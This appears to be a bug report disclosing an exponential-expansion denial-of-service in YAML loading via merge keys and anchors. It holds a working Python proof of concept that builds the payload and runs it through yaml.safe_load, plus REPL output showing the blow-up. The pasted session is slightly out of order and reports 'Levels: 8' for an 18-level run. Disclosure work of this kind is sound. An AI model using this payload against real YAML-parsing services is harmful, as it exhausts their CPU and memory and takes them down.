[Bug]: YAML Merge Keys Drive Exponential Expansion DoS

[tylzh97]

Summary

Merge keys (<<) combined with anchors allow adversaries to build structures that expand exponentially during load, exhausting CPU and memory.

poc:(Both Mapping Merge & Set Merge)

import yaml
import time

def build_payload(levels=10):
    lines = ["base0: &L0 {k0_0: v0}"]
    for level in range(1, levels + 1):
        prev = level - 1
        new_keys = ", ".join(f"k{level}_{i}: v{level}" for i in range(1 << level))
        lines.append(f"L{level}: &L{level} {{<<: [*L{prev}, *L{prev}], {new_keys}}}")
    lines.append(f"target: {{<<: [*L{levels}, *L{levels}]}}")
    return "\n".join(lines)

payload = build_payload(levels=18) 
start = time.time()
data = yaml.safe_load(payload)
print(f"Levels: 18, Keys: {len(data['target'])}, Time: {time.time() - start:.2f}s")

Traceback:

$ uv run python 
Python 3.10.18 (main, Sep  2 2025, 14:19:37) [Clang 20.1.4 ] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import yaml
>>> import time
>>> 
>>> def build_payload(levels=10):
...     lines = ["base0: &L0 {k0_0: v0}"]
...     for level in range(1, levels + 1):
...         prev = level - 1
...         new_keys = ", ".join(f"k{level}_{i}: v{level}" for i in range(1 << level))
...         lines.append(f"L{level}: &L{level} {{<<: [*L{prev}, *L{prev}], {new_keys}}}")
...     lines.append(f"target: {{<<: [*L{levels}, *L{levels}]}}")
...     return "\n".join(lines)
... 
>>> payload = build_payload(levels=18) 
print(f"Levels: 8, Keys: {len(data['target'])}, Time: {time.time() - start:.2f}s")
>>> start = time.time()
>>> data = yaml.safe_load(payload)
>>> print(f"Levels: 18, Keys: {len(data['target'])}, Time: {time.time() - start:.2f}s")
Levels: 8, Keys: 524287, Time: 22.12s